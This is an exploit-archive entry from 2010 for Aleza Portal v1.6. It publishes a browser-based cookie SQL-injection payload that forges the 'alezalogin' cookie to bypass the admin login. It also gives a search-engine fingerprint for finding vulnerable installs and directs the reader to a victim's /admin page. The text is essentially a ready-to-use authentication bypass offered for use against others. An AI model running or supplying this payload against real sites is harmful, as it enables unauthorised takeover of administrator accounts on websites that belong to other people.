[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Aleza Portal v1.6 - Insecure (SQLi) Cookie Handling
# Published : 2010-09-28
# Author : KnocKout
# Previous Title : Achievo v1.4.3 Multiple Authorization Flaws
# Next Title : e107 v0.7.23 SQL Injection Vulnerability.
Aleza Portal v1.6 - Insecure (SQLi) Cookie Handling
=========================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Aleza Portal v1.6
~Software: http://www.webavail.com/
-Demo : http://www.webavail.com/alezademo/
~Vulnerability Style : (SQLi) Cookie Handling
~Google Keywords : Copyright 2001 WebAvail Productions, Inc. All Rights Reserved.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~
Browser Injection for handling() by Javascript-SQLi Codes
================================
javascript:document.cookie="alezalogin=login='or'level=11&pass='or';path=/";
================================
[+] Exploitable Browser Injected!
[+] Go to : http://[Victim]/admin
GoodLucK ;)